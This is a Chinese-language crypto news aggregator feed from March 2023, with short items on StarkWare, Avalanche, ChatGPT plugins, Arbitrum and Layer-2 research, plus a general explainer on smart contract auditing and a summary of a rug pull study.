的精神是什么？ 脚踏黄土，面朝蓝天：我们采用双管齐下的方式。StarkWare 团队热爱技术、数学、创新，深耕于产品精益求精。 卓越成就卓越：StarekWare 首要成就是其深厚的人才基础。 卓越能容大度：我们欢迎并支持其他团队共同推动以太坊或 STARK 极限。 「一人行速，众人行远」：最初 StarkEx、Cairo 甚至 Starknet 都在内部完成，快速迈开脚步。下一步，我们将努力实现产品开源和去中心化，致力于将 STARK 技术打造成公共产品。   Starknet 生态建设快速扩张，拥有约 1000 位开发者和超 400 个 Github 代码资源库。 StarkWare 将贯彻「一人行速，众人行远」主旨： 对 STARK 强大功能和可扩展性感兴趣的用户，欢迎学习开源 Cairo 语言，体验编写程序乐趣。  ( 5 min )
    Avalanche将进行Cortina升级，将迁移X-Chain以运行Snowman++共识
    PANews 3月24日消息，据官方博客，Avalanche宣布将于3月27日在Fuji测试网上发布 Avalanche Cortina升级的预发布代码，Fuji测试网Cortina升级将于北京时间3月30日23:00激活。在Fuji测试网上的Cortina升级成功之前，将公布Avalanche主网激活时间，并发布官方Cortina AvalancheGo版本 (v1.10.0)。 最新版本的AvalancheGo将迁移X-Chain以运行Snowman++共识，这意味着整个网络已经迁移到一个单一的共识引擎，这减少了可信计算基础的规模并增加了现有研发工作的杠杆作用，这解除了Avalanche Warp Messaging (AWM)在X-Chain上的集成，并使交易所更容易支持X-Chain，其中将包含子网上使用的许多质押代币。Cortina升级还引入了批处理授权奖励并将C-Chain gas上限提高至1500 gas。  ( 4 min )
    Infura已向所有用户开放其NFT API和SDK
    PANews 3月24日消息，据官方推特，ConsenSys旗下区块链开发平台Infura宣布，其NFT API和SDK已开放给所有用户。Infura NFT API有14个不同的端点，使开发人员能够访问所有必要的元数据，还附带三个预审计的ERC-721和ERC-1155模板，涵盖了所有NFT用例的85%。另外，NFT API还包括来自八个区块链网络的读写功能，使用四种语言，并具有集成的IPFS访问权限。这包括提前访问ConsenSys推出的zkEVM，该新zkEVM计划于4月向公众开放。  ( 4 min )
    OpenAI正为ChatGPT添加插件支持，允许联网、运行计算或使用第三方服务
    PANews 3月24日消息，据官方博客，OpenAI宣布正在为ChatGPT添加对插件支持，插件是专门为以安全为核心原则的语言模型设计的工具，可帮助ChatGPT联网访问最新信息、运行计算或使用第三方服务。检索插件允许ChatGPT搜索内容矢量数据库，并将最佳结果添加到ChatGPT会话中。这意味着它没有任何外部影响，主要风险是数据授权和隐私。 OpenAI已开放第一批ChatGPT插件名单，这批插件由Expedia、FiscalNote、Instacart、KAYAK、Klarna、Milo、OpenTable、Shopify、Slack、Speak、Wolfram和Zapier创建。OpenAI表示，将开始把插件Alpha访问权限扩展到候补名单中的用户和开发人员。  ( 4 min )
    Ark Invest周四增持约1780万美元Coinbase股票
    PANews 3月24日消息，据The Block报道，Cathie Wood旗下Ark Invest周四通过两只基金购买了约1780万美元的Coinbase股票。3月23日，Ark Innovation ETF增加了230,599股Coinbase股票，而Ark Next Generation Internet ETF增加了38,329股。截至股市收盘，这些股票交易价值约1780万美元。 此前3月21日消息，Ark Invest出售了价值1350万美元的Coinbase股票，这是该基金自去年7月以来首次出售大量Coinbase股票。从去年11月开始，Ark Invest就一直在增持Coinbase股票。  ( 4 min )
    生成式AI初创公司Character.AI以10亿美元估值完成1.5亿美元融资，a16z领投
    PANews 3月24日消息，据CNBC报道，生成式AI初创公司Character.AI宣布以10亿美元估值完成1.5亿美元融资，a16z领投，GitHub前CEO Nat Friedman、Elad Gil、A Capital和SV Angel参投。新资金将使其能够扩展计算能力，“从而产生具有高级推理和更高准确性的更复杂模型”。 此外，有消息称Character.AI可能会探索加密（或更广泛的Web3）和社交音频市场，因为a16z一直是这两个领域的重要参与者。  ( 4 min )
    美众议院：PoW挖矿有利于美国实现能源独立，美国应投资于数字资产产业
    PANews 3月24日消息，美国众议院于3月21日提出一份文件，表达了其对工作量证明(PoW)挖矿(用于比特币等某些加密货币)对美国实现能源目标和增长经济能力的重要性的看法。文件提到，POW挖矿有利于环境保护，推动可再生能源的使用、减少碳排放和提高能源效率。还有利于科学进步，促了进计算机技术、密码学和数学领域的研究。 文件称，能源发展应成为美国经济增长、基础设施建设和国家安全的关键支柱，而PoW挖矿可以帮助在所有这7个领域取得进步；数字资产PoW挖矿可以通过与能源部门合作，帮助促进能源发展，产生创新的爆炸式增长，将提高美国能源独立；美国应投资于数字资产产业，促进可持续就业增长和创新发展，该产业将为最需要的地区带来高薪工作和技术培训。 这个文件由众议院能源和商务委员会的主席、俄亥俄共和党议员Steve Chabot提出，得到了众议院外交事务委员会、金融服务委员会和科学、空间和技术委员会的支持。虽然目前美国众议院由共和党担任议长，但此文件或不代表众议院的整体观点。  ( 4 min )
    智能合约安全是“命脉”，如何进行正确审计？
    撰文：ChainLink 智能合约审计用于整个 DeFi 生态系统，通过对协议代码的深入审查，可以帮助解决识别错误、低效代码以及这些问题。智能合约具有不可篡改的特点，这使得审计成为任何区块链项目安全流程的关键部分。 代码审计对任何应用程序都很重要，但它们对去中心化应用程序 (dApp) 尤其重要，因为它们建立在其之上的区块链是不可变的。如果代码漏洞导致用户资金丢失，这些资金将无法找回。迄今为止，DeFi 中的黑客已经损失了超过 50 亿美元。 在本文中，我们研究了智能合约审计到底是什么、如何进行审计、需要注意的常见智能合约漏洞、Solidity gas 优化策略、流行的审计工具等等。   智能合约审计包括对一个协议的智能合约代码进行详细分析，以识别安全漏洞、不良的编码实现方式和低效代码，然后再提出解决这些问题的解决方案。审计有助于确保跨 Web3 的去中心化应用程序的安全性、可靠性和性能。 在智能合约审核期间，安全专家团队将以自动和人工的方式，审查应用程序的代码、逻辑、架构和安全措施，以识别任何潜在问题。他们专门寻找可能容易受到恶意攻击的任何代码，以及任何需要改进的部分。 智能合约代码最终将部署到 Avalanche、BNB Chain 或 Ethereum 等区块链中。一旦合约生效，任何人都可以访问它们——从终端用户到恶意攻击者——这就是为什么在启动或更新去中心化应用程序之前必须解决所有漏洞。 审计完成后，审计师会发布一份摘要报告，其中提供有关审计结果、解决方法和任何其他问题的详细信息，以及未来解决现存问题的路线图。经过全面的智能合约审计后，项目可以放心地部署他们的合约，因为应用程序的安全性有了保证，用户资金也受到保护。 智能合约审计利用各种技术和工具来减少风险点并使协议更加健壮。 步骤 1. 收集文档 被审计的项目必须先冻结代码，并向审计员提供技术文档，包括代码库、白皮书、架构和任何其他相关材料。该文档应该为审计员提供有关代码旨在实现的目标、范围和具体实施的详细指南。 步骤 2. 自动化测试 也称为形式化验证引擎，自动化测试检查智能合约的每个可能状态，并针对可能攻击合约功能性或安全性的问题发出警报。审核员还可以对单个功能进行集成测试、单元测试，以及探测安全漏洞的渗透测试。 步骤 3. 人工审核 安全专家团队仔细检查每一行代码，找出错误和漏洞。虽然自动化测试可以很好地识别代码中的错误，但人类工程师更有能力检测合约逻辑或架构的问题、技术上正确且通过自动化测试的不良编码实现、gas 优化以及常见攻击点（比如说抢先交易）。 步骤 4. 合约错误分类 每个错误都根据它可能被利用的漏洞严重性进行分类： 步骤 5. 初始报告 审计员起草一份初步报告，总结代码缺陷和其他问题，以及项目团队如何解决这些问题的反馈。一些智能合约服务提供商拥有一个专家团队，可以帮助修复发现的每个错误。通过解决所有问题，项目可以确保其智能合约的安全性，并且做好部署的准备。 步骤 6. 发布最终审计报告 审计员在详细将所有发现的问题写入最终报告中，所有问题都被标记为已解决或未解决。该报告将提供给项目团队并同时会被公开，以便协议的用户和其他利益相关者具有完全的透明度。 以下是当前智能合约审计清单的一部分的常见漏洞。 重入问题 当智能合约函数被不受信任的外部合约调用时，可能会发生重入攻击。重入攻击中，使该外部合约能够通过递归调用原始合约来耗尽用户资金或进行其他恶意操作。 整数上溢和下溢 当智能合约执行算术运算输出超过当前存储容量的数字时，可能会发生整数溢出或下溢，从而导致计算错误。 抢先交易机会 设计不合理的代码可能会泄露有关 dApp 尚未发生的的交易信息，其他用户可以先行运行这些信息，以牺牲协议为代价锁定利润。 重放攻击 当数据被恶意延迟或重复时，就会发生重播攻击，尤其是在硬分叉事件期间，攻击者可以使用新的系统上的消息从遗留系统中提取资金。 随机数漏洞 如果 dApp 使用公开的数字（例如块哈希）来播种随机数，则它很容易受到利用，这就是为什么许多协议使用 Chainlink VRF 来实现随机性。 函数可见性错误 打算私有的函数必须定义为私有的，因为Solidity中的默认可见性属性是公共的。如果是公开的，任何人都可以调用该函数。 中心化风险 中心化机制有单点故障的问题，如果单个私钥或类似密钥被泄露，可能会破坏协议的安全性。时间锁和授予 DAO 特权是处理中心化风险的常用技术。 未锁定编译器版本 Solidity 有许多编译器版本。dApps 应该锁定他们使用的编译器版本，这样用户就不能用不同的版本编译它，否则这可能会导致不同的字节码和意想不到的问题。 Solidity gas 优化 Gas 是指在以太坊网络上进行特定操作所需的费用。Gas 优化是降低智能合约代码执行成本的过程，随着项目规模的扩大和需要更多的 Gas 来运行，这一点变得越来越重要。它还有助于防止协议被滥用。 Solidity gas 优化技术包括： 流行的智能合约安全审计工具包括： 智能合约审计的费用是多少？ 智能合约审计通常需要花费 5,000 到 15,000 美元，根据代码复杂性和技术支持要求，还有可能更高。 如何成为智能合约审计师？ 智能合约审计员必须对软件工程有高层次的理解，了解特定区块链环境的特定语言，如以太坊的 Solidity，并了解去中心化金融等关键垂直领域。审计师的收入通常在 10 万到 25 万美元之间，有些人的收入超过 40 万美元。 如何准备智能合约审计？ 通过清理代码库、收集所有文档然后冻结代码来准备智能合约审计。在 Hacken 的这篇文章中了解更多信息。 审计智能合约需要多长时间？ 完成智能合约安全审计的时间取决于代码的大小和复杂性。虽然可以在 48 小时内审核一个简单的通证合约，但一个完整的去中心化应用程序可能需要数周的时间来审核。 如何选择智能合约审计师？ 如果你正在寻找审核员建议，也可以联系我们的技术专家。  ( 5 min )
    比特币难度上调7.56%至46.84T，再创历史新高
    PANews 3月24日消息，据欧科云链OKLink多链浏览器数据显示，比特币在区块高度782208处迎来了挖矿难度调整，挖矿难度略微上调7.56%至46.84T，再创历史新高。目前全网平均算力为345.76 EH/s。  ( 4 min )
    MetaMask已与EIP-4361兼容可支持以太坊登录，并推出‘域名绑定’功能
    PANews 3月24日消息，Web3钱包Metamask在推特上宣布：“MetaMask现在与EIP-4361兼容，也就是使用以太坊登录。我们的实施还提供了‘域名绑定’功能，可以检测来自恶意URL的签名/批准。” 相关阅读：详解EIP-4361：改变用户与Web3交互的以太坊登录  ( 4 min )
    数据：一季度元宇宙NFT交易笔数达14.7万笔创历史新高，交易量达3.11亿美元
    PANews 3月24日消息，据CoinDesk报道，根据周四发布的DappRadar报告，2023年第一季度元宇宙的NFT交易有所增加，今年迄今为止总计3.11亿美元。根据该报告，由于 Yuga Labs的Otherside和MG Land等平台在该领域占据主导地位，虚拟土地交易在过去一个季度达到了14.7万笔交易的历史新高。另一方面，与Otherside元宇宙中的土地相关的NFT在第一季度的交易量为2.22亿美元，比上一季度增长了237%。 此外，DappRadar数据显示，2023年第一季度，4.175亿美元投资于链游和元宇宙项目。  ( 4 min )
    加密交易所Uphold将结束对美国客户的质押服务，直到监管更加明确
    PANews 3月24日消息，据Cryptoslate报道，加密交易所Uphold已向客户发送电子邮件，表示将于2023年4月27日结束对美国客户的质押服务。 Uphold证实，美国证券交易委员会尚未与其联系，不过“直到法律和监管更加明确为止，将终止其在美国的质押服务。” 从3月22日起，用户资金将由Uphold取消质押，并“从现在到2023年4月27日之间可以使用”。资金可用的时间将取决于单个区块链的“解除限制期”。  ( 4 min )
    Web3公司到底靠什么盈利？
    撰写：《6 Amazing Blockchain business Models you must know(with examples)》by Navdeep Yadav 编译：深潮 TechFlow 在我们开始探究区块链与加密货币之前，让我们先打好根基，了解一下网络。 在 Web 2 中，我们使用后端编程语言（如 Node JS 或 Python）构建应用程序，并将其托管在由 AWS、Google Cloud Platform 等提供商提供的服务器上。 但在 Web 3 中，我们需要从 Alchemy 获取一个节点，并构建智能合约，然后部署在以太坊或 Polygon 上。 区块链商业模式有哪些不同类型？ 因此，所有的区块链技术都使用分布式账本技术（DLT），需要一致性，而代币是奖励代币矿工或代币持有者的机制之一。 例如：Basic Attention Token (BAT) BAT 代币与 Brave 浏览器配合使用，旨在提高安全性和隐私性。Basic Attention Token 允许采用新的广告收入模型，不再需要不断跟踪用户行为。Brave 用户可以选择查看广告以赚取 BAT。然后可以使用 BAT 来向其网站或 Twitter 上的内容创作者打赏。 但是这些公司如何发行这些代币呢？ 这些公司会在其首次代币发行（1CO）时以折扣价格发行一些代币。 这些通常被早期采纳者购买，他们相信这些项目，并通过持有它们一段时间来赚钱。 但在购买任何实用型代币之前，请关注其代币经济学。 如果您仔细研究 Solana 的代币经济学，您会发现内部人员仍然持有 60%以上的通证，而以太坊基金会/内部人员仅持有 7-8％的代币。 BaaS 是建立像亚马逊（AWS）一样的服务生态系统，但它是在 Web 3 空间中实现的。 例如：Polygon 区块链即服务（EBaaS）。 从开发到存储再到部署，AWS 拥有超过 200 种服务，涵盖您技术栈中的所有内容。 您可以使用 Amazon EC2 启动服务器，并使用 Amazon RDS 管理 SQL 数据库，在 Amazon S3 桶中存储静态文件等。 同样，Polygon 为 Web 3 生态系统提供了一系列产品。因此，无论您想出售 NFT 或加密货币，都可以利用它们的产品。 3. P2P 区块链商业模型 点对点（P2P）区块链使终端用户能够直接彼此交互，无需任何中介。 例如 - IPFS。 4. 基于区块链节点的聚合器 它们基本上是区块链的亚马逊，这意味着您只需对您喜欢的区块链进行 API 调用，即可使用该服务。 例如: Alchemy 是多种区块链的节点提供商，为与加密货币相关的软件提供监控、分析、警报、调试和日志记录等工具。 如果区块链商业模型对在网络上部署某些 dApp 的网络问题进行收费。 例如，以太坊和 NEO。 这些网络费用会向开发者收取以太坊和 NEO 以使其 dApp 上线。  ( 5 min )

  • Open

    冒险岛 + NFT，注册玩家超 1.8 亿的经典游戏为什么要选择上链？
    Chainfeeds 导读： 近日，韩国游戏开发商 Nexon 宣布旗下游戏冒险岛的链游版本 MapleStory Universe 将是一个基于 NFT 的 MMORPG 游戏。区块律动作者 Cookie 解析了 MapleStory Universe 的构成，并认为「冒险岛」作为一个运营了近 20 年、注册玩家超 1.8 亿的经典游戏，能够充分利用区块链技术打造「开放生态」。 文章来源： https://www.theblockbeats.info/news/35913 文章作者： 0xCookie 观点： 0xCookie：「开放生态」的先决条件是游戏本身广受玩家喜爱。之前的许多链游故事恰恰讲烦了 —— 区块链技术能帮助「开放生态」更「开放」，而不是「开放」让游戏变得更吸引，游戏最重要的是「让人能玩进去」。这点，我相信「冒险岛」完全可以做到。 内容来源 0xCookie：MapleStory N / MapleStory N Mobile 分别为「冒险岛」区块链版本的 PC 客户端与移动端。NEXON 已经明确，不会有任何相关的 NFT 预售，所有的游戏道具（NFT）均通过免费游玩获得，并自由交易。同时，游戏内也不会有任何的内购项目存在，收入将来源于 NFT 交易手续费，并与所有「贡献者」共享。 内容来源 0xCookie：MOD N 为玩家制作游戏内容的沙盒编辑器。玩家可以使用「冒险岛」NFT 或是引入外部的 NFT 项目来制作游戏内容，创作者将完全拥有所有权，并作为「贡献者」分享收益。MapleStory N SDK 供玩家制作游戏衍生 App。比如周边商品的线上商城、「冒险岛」主题的健康监测应用等。 内容来源
    【数据】DappRadar：2023 年第一季度 NFT 交易量 3.11 亿美元，达历史新高
    【数据】DappRadar：2023 年第一季度 NFT 交易量 3.11 亿美元，达历史新高 据 DappRadar 统计，2023 年第一季度 NFT 交易量达 3.11 亿美元，为历史新高。虚拟土地交易数量达历史最高水平，约为 14.7 万笔，环比增长 83.56%。DappRadar 的区块链分析师 Sara Gherghelas 认为，NFT 交易市场 Blur 的空投是推动交易量新高的一个主要原因。此外，另一项数据指出，区块链游戏和元宇宙项目在 2023 年第一季度共获得 4.175 亿美元的融资。 内容来源
    基于排序器利润浅谈 Arbitrum 估值
    Chainfeeds 导读： 当前关于 Arbitrum 估值的讨论都围绕 Mcap/FDV/LTV 等数据，加密研究员 0xFelix 提出了一种基于排序器利润（Sequencer Margin）的估值方法。 文章来源： https://mirror.xyz/0x5eb91fd567E636cBCcb28d9dbC0A6DCa1EA882C2/L2ked82eYdkCWP-_Swhd3hRP___bR8l7a7VkiQYZ7U0 文章作者： 0xFelix 观点： 0xFelix：L2 上的每一笔交易都需要花费 x， 而 3~7 分钟内 L2 批量处理的交易成本为 y，x - y = L2 利润，也被称为排序器利润（Sequencer Margin）。对于 L2，我觉得我们需要重视这个底层的价值捕获。 内容来源 0xFelix：两个 ARB 估值指标：每日交易量 Tx 和排序器利润。基于以下条件：扣除 Treasury 货币的代币数；1750 美元的 ETH 价格；以 15 倍的估值（PE）；每天每百万笔交易的序列器利润为 55 ETH。在 $ARB 估值 0.50 美元、PE15 倍情况下意味着每天的交易次数需要达到 200 万笔，当前 ARB 上的日交易量是 100 万笔左右 。 内容来源 0xTodd：很好的一个视角，从排序器的利润看两条 L2 的不同；不过 crypto 的话，PE 倍数 15 肯定打不住，参考隔壁 Lido。 内容来源  ( 3 min )
    【英文】rug pull 项目定性分析：有何共同特征？
    Chainfeeds 导读： 安全审计团队 Certik 发布 rug pull 项目定性分析研究报告，随机选取了 40 个 rug pull 项目，从网站信息、项目周期、团队等方面分析了 rug pull 项目的特征。 文章来源： https://www.certik.com/resources/blog/5Zai85KkvIgW0wBJPQxl3i-the-rug-pull-report 文章作者： CertiK 观点： CertiK：危险信号 1：网站注册。分析的 40 个项目中，有 15 个使用 Namecheap 作为其域名注册商。Namecheap 是一家域名提供商，它不需要个人信息或身份信息来注册网站。危险信号 2：项目周期。rug pull 项目从开始到 rug pull 平均存在 92 天，中位数为 57 天。【原文为英文】 内容来源 CertiK：危险信号 3：欺诈策略。rug pull 项目最常采用的策略包括：虚假的合法 / 授权、虚假的合作关系、快速的高收益的激励以及虚假的慈善捐赠。危险信号 4：路线图和白皮书。40 个项目中有 31 个项目可以准确收集到网站和数据信息，其中 7 个项目有路线图，4 个项目发布了白皮书。【原文为英文】 内容来源 CertiK：危险信号 5：可疑的团队。大多数项目是完全匿名的，匿名团队占据上述 31 个项目中的 24 个，其余 7 个项目被确定为半匿名项目。【原文为英文】 内容来源  ( 19 min )
    【英文】解构模块化 MEV：Rollups、DA 层和跨域 MEV
    Chainfeeds 导读： 加密研究员 rain&coffee 发布模块化系列第二篇文章，从模块化堆栈入手，拆解了每个堆栈中对应的 MEV 实现形式、存在的问题以及可能的改进方向。 文章来源： https://maven11.substack.com/p/modular-mev-part-2-finality-actors 文章作者： Rain&coffee 观点： Rain&coffee：Rollups MEV：当前 Rollups 的 MEV 只是将 MEV 的利润从验证者转到了 Rollups 排序器上。我建议，在一个模块化的世界里，一些 MEV 被引导到验证者和他们的安全预算中，这也是 Rollups 的大部分安全来源。例如收取提取的 MEV 的一部分比例作为基本费用，该费用将用于 DA / 共识层，称之为公共物品。【原文为英文】 内容来源 Rain&coffee：DA 层 MEV：在一些情况下，DA 层有定价权，可以从 Rollups 中提取更多的价值。第二种情况是有结算层的 Rollups，在结算层依赖向 DA 层发布领导权选举的情况下，MEV 将主要在 DA 层捕获。第三种情况与潜在的去中心化的排序器设置有关，去中心化的排序器验证者竞争成为领导者，并在 DA 层上互相竞标区块空间。【原文为英文】 内容来源 Rain&coffee：跨域 MEV：在一个模块化的世界里，资本充足的 MEV 提取者有更多的机会，因为现在的流动性更加分散，这可能会看到大型（就资本而言）行为者变得越来越富有，并造成中心化。此外，我们希望跨域排序和区块空间市场也采取类似以太坊 crLists 的方式来抵制审查制度。【原文为英文】 内容来源  ( 85 min )
    a16z 对话 Move 语言之父：从编程语言说起，为何 Move 是未来智能合约的重要方向
    Chainfeeds 导读： a16z Crypto 团队与 Move 语言之父 Sam Blackshear 进行了一次主题为「Programming Languages & Crypto」的播客对话，结合传统编程语言与智能合约编程之间的差异和相似之处，展开讨论了 Move 语言的设计思想、面向对象和资产的编程、安全性，以及分享了形式化验证、治理和社区工具、跨平台适应性等话题。播客文字内容由 Sui World 社区整理。 文章来源： https://mp.weixin.qq.com/s/8AyHeBNRe7s6aueSAValeQ 文章作者： SUI World 观点： Sam Blackshear（Mysten Labs 联合创始人）：EVM 过度适配了平台的实现细节，开发者最终不得不继承以太坊做出的许多设计决策，包括一些让以太坊难以扩展的错误。Move 在设计时，没有将任何区块链特有的东西加入到核心语言中。源代码语言层面的创新将会相当重要，Move 最终能够提供的是代码验证器和 VM 级别的保护，以免受其他程序员的攻击。 内容来源 Sam Blackshear（Mysten Labs 联合创始人）：Move 通过构造消除了重入和智能合约编程中缺失的权限检查问题。Move 中，对象所有权信息实际上存储在对象元数据中，这不是程序员可以控制的东西。Move Prover 就是为了防止语言编写智能合约的错误而设计，可以避免开发者犯很多基本的错误。 内容来源 Sam Blackshear（Mysten Labs 联合创始人）：最初，Move 是在 Facebook 开发的，没有真正的治理。我们非常谨慎地扩展语言。我有一些技术上的设想，比如跨平台的程序和资源，Move 被设计为一种跨平台语言，其中一些链 EDM 的基本功能仍应适用，并且覆盖了智能合约开发能手和 Web2 新人，极具灵活性。但是这是一个社区项目，我并不是 Move 或任何其他东西的独裁者。 内容来源  ( 34 min )
    【英文】zkSync 团队谈 Layer2 网络安全机制：为何采用「执行延迟」
    Chainfeeds 导读： 「执行延迟」（Execution Delay）是指每个提交到 L1 的 L2 区块在被执行和最终确定之前都会有一个时间锁。zkSync Era 将最初的延迟时间设定为 24 小时，并将随着系统的逐渐成熟，缓慢减少直至删除该设置。zkSync 开发团队撰文解析了 zkSync 的「执行延迟」机制及其优势。 文章来源： https://blog.matter-labs.io/securing-zksync-era-execution-delay-ee32b11d6f9 文章作者： zkSync∎ 观点： zkSync∎：引入时间锁：我们将使用一个由我们控制的现有「验证者」角色，并通过将其指向一个有时间锁的中间智能合约来额外限制自己。这意味着在审计的智能合约中没有做任何改变。【原文为英文】 内容来源 zkSync∎：「执行延迟」的优点：1. 即使攻击者在 ZK 电路中发现了一个关键的错误，同时也成功地破坏了运行我们的排序器的服务器，我们也有足够的时间来检测、调查漏洞，并通过治理冻结协议；2. 由于 zkSync Era 合约中没有引入任何变化，因此即使中间合约被破坏，我们也会恢复到原来的状态。【原文为英文】 内容来源 zkSync∎：3.「延迟执行」不仅对标准的 zkSync ETH 和 ERC20 桥有效，而且对由不同团队构建的任何自定义桥约有效；4.「延迟执行」在一个外部治理者控制的合同中实现逻辑，使得以后很容易消除这种限制。【原文为英文】 内容来源  ( 7 min )
    【英文】Messari：解读模块化执行层 Fuel 架构、开发堆栈及挑战
    Chainfeeds 导读： Fuel 的模块化、全新虚拟机和 UTXO 模型使得它能够区别于以太坊。但 Fuel V2 还需要在主网上运行一段时间才能和其他 Rollup 争夺市场份额。Messari 研究员 Eshita 撰文对 Fuel 在模块化区块链中的作用、架构、编程语言及挑战等方面进行了分析解读。 文章来源： https://messari.io/report/fuel-supercharging-modular-execution 文章作者： Eshita Nandini 观点： Eshita Nandini：作为一个模块化执行层，Fuel 能够有效作为单体链的一部分或一个执行环境使用单独的结算、共识和数据可用性层。Fuel 的架构设计在很多方面都很好的规避了 EVM 的缺点，包括对高效交易的处理和内置安全措施的决定。此外，Fuel 还利用了轻客户端在保证去中心化的同时增强了链的安全保障。【原文为英文】 内容来源 Eshita Nandini：开发者方面，Fuel VM 利用 Sway 作为其编程语言，为了支持开发者适应 Sway，Fuel 团队还构建了一个用于构建、部署和测试 Sway 代码的工具链 Forc。Sway 的特点是通过编译时的分析来检查代码的潜在漏洞和错误，如果 Sway 发现一个智能合约容易受到重入性攻击，Sway 将不会允许部署该应用。【原文为英文】 内容来源 Eshita Nandini：除了预期的实施和智能合约风险外，由于 Fuel 还处于早期阶段，仍存在一些问题。例如虽然 Fuel 实现了很多不同功能，为开发者的灵活性和更好的可用性产生了一个执行层，但几乎没有为开发者构建的基础设施。此外，开发人员还会面临使用新代码和工具的挑战。【原文为英文】 内容来源
    【英文长推】Delphi Digital：解读 Arbitrum 空投后的下一步动作 —— Arbitrum Orbit
    Chainfeeds 导读： Arbitrum 在空投代币之后的下一步动作是 Orbit，Delphi Digital 实习生撰推介绍 Orbit 基本原理、其作为创建 L3 的框架相较于 L2 的优势，以及其技术规格，认为 Orbit 将开辟了一个充满新机会的宇宙。 文章来源： https://twitter.com/delphiintern/status/1638929913595015170 文章作者： Delphi Intern 观点： Delphi Intern：Orbit 是一个用于创建 Arbitrum 的 Layer3 的框架，基本上是 L2 的 L2 ，Arbitrum 的 rollup。Orbit 是无许可的，任何人都可以使用他们的技术来建造 L3。让开发者可以自由地构建他们认为合适的链，不必是 EVM 或使用 ETH 作为 gas 代币。ETH 作为安全性层，但 Orbit 有自己的优化和规则，每个 Orbit 都可以优化用于其用例，如订单簿、游戏等。【原文为英文】 内容来源 Delphi Intern：Orbit 将与 Arbitrum Stylus 兼容，Stylus 是一项升级，允许开发人员使用 Rust、C、C++ 等语言构建 Dapp，并且每层的吞吐量复合。如果 L2 比 L1 快 10 倍，L3 比 L2 快 10 倍，那么 L3 就比 L1 快 100 倍。Orbit 能够在 Arbitrum 之上构建新层，这将是一个开发者游乐场，可以自由定制他们的链并使用 Stylus。结合增加的吞吐量，Orbit 开辟了一个充满新机会的宇宙。【原文为英文 内容来源  ( 2 min )
    热门项目盘点，未来区块链游戏有哪些新可能？
    Chainfeeds 导读： 随着市场的回暖，区块链游戏行业也开始重新回暖，并与当前行业的新概念和热点，产生了深度的结合，并进一步赋予游戏更多的价值和更大的潜力。veDAO 研究院对当前区块链游戏的发展脉络进行了梳理，并尝试解答一个问题：未来区块链游戏有哪些新可能？ 文章来源： https://mirror.xyz/0x901eA9e4c3D637C73a368B2bCD0E708992baE49C/0LfHSwdkhI2bI88Hr1GDbRVjg3F1G1i5afuuWPojKak 文章作者： veDAO 研究院 观点： veDAO 研究院：发展方向：1）Arbitrum：Arbitrum 新链 Arbitrum Nova 旨在用于社交应用和游戏，以扩展 GameFi 生态系统并加速 Web3 社交应用的开发；2）人工智能：游戏行业可以应用文本到图像生成式 AI 模型；3）VR 及 AR：目前虽然二者与 GameFi 的关联性还较低，但也有一些项目方借助 VR、AR 等技术，使玩家产生「沉浸感」，并最终构成元宇宙； 内容来源 veDAO 研究院：4）复杂经济模型：无论是早先的单 NFT 模型，还是当前主流的「双币种 +NFT」模型，都无法解决用户在打金过程中，付出与回报的错位。而资产价值捕获代币与游戏治理代币和效用代币共同构成了一个新的经济模型范式，也就是所谓的「三币种经济模型」。 内容来源  ( 4 min )
    【英文长推】盘点六个新鲜 Alpha 项目：Derivio、The Root Network......
    Chainfeeds 导读： The Flipper Board 重点关注加密货币新鲜项目，其跟踪器中已有 66 个新项目，并筛选出 6 个 Alpha，撰推进行盘点介绍。 文章来源： https://twitter.com/theflipperboard/status/1638803184457244672 文章作者： The Flipper Board 观点： The Flipper Board：1）Derivio，一个基于 zkSync 的机构级的结构化衍生品生态系统，正在为交易员和 LP 开发新奇的产品、改变游戏规则的用例，提供更公平的条件。2）Th Root Network，一个为优化元宇宙应用程序和体验的公共去中心化区块链网络。3）Play Estates，基于 Fuel 网络，通过将数字世界与现实世界联系起来，解决了房地产代币化和分割化问题。【原文为英文】 内容来源 The Flipper Board：4）Avail，具有数据可用性层的模块化区块链，旨在扩展区块链网络。5）RabbitX，正在 StarkNet 上引入永续交易。6）SyntheX，一个零滑点的可组合合成协议，允许用户交易加密货币、外汇、股票和商品。【原文为英文】 内容来源  ( 2 min )
    【英文长推】从 Arbitrum 因网络拥堵导致宕机中，我们能学到什么？
    Chainfeeds 导读： 昨日在领取 Arbitrum 空投时由于网络拥堵，Arbitrum 网络 RPC 出现多数宕机。加密研究员 polynya 对该事件进行了总结，认为 L1 必须找到替代的价值积累机制以保持经济上的安全，只有 L2 是不可持续的。 文章来源： https://twitter.com/apolynya/status/1639094459752218625 文章作者： polynya 观点： polynya：1）只增加吞吐量目标可能会导致更快的状态膨胀，也许 1559 型机制可以为 L2 实现 10 倍的目标，或许这能够解决该问题；2）最终我们会遇到硬件限制，这时需要一个更快的执行层，例如 Arbitrum 正在用 Stylus/EVM+ 解决这个问题；3）即便如此，我们可能还会遇到最快的执行层的执行极限，这时我们需要多个互操作链。【原文为英文】 内容来源  ( 2 min )
    【英文长推】结合链上数据和个人经验总结 ARB 代币买卖策略
    Chainfeeds 导读： 加密研究员 Tindorr 撰推，结合链上数据分析和经验心智模型，给出 ARB 代币短期和长期策略，注意：仅做参考，不作为任何投资建议。 文章来源： https://twitter.com/0xTindorr/status/1638976945999478784 文章作者： Tindorr 观点： Tindorr：1）经验心智模型：个人觉得 Arbitrum 在 Coingecko 中至少应该排在第 10 到第 20 名之间。根据我在 Arb 上参与多个项目的经历，我的直觉是：从长远来看，他们应该得到更好的价格。2）空投代币投资，需要先熊后牛。空投为参与者提供了大量资金，他们正在并将获利了结，造成巨大抛压。我认为短期人们正在抛售代币，长期价格会涨得很高。【原文为英文】 内容来源 Tindorr：3）链上数据分析：截至发文时，58% 的空投被认领，而价格则在 1.2-1.3 美元的范围内强烈吸收了抛售。代币被认领 80% 是一个我相信会有很少的卖盘的范围。我现在不会冒险入场，因为我意识到 6.28 亿美元的价值可能会成为抛售压力以压低价格，然而我对这几个小时内的交易量感到惊讶。【原文为英文】 内容来源 Tindorr：管理和分散风险是策略关键：1）短线操作，如果我有 $ARB，我会先卖出一部分（50%），当代币领取达到 80-85% 时进行监控，如果价格足够低，我会开始收回 ($1 或略低于），如果价格没有下降，我会承认我低估了买方和这种炒作。2）长线操作，一直持有，如果牛市真的来了，$ARB 将是人们看好的代币之一，翻倍时，部分获利了结。【原文为英文】 内容来源  ( 2 min )
    【英文】Paradigm：由于 SEC 的不作为，加密项目进行注册并不可行
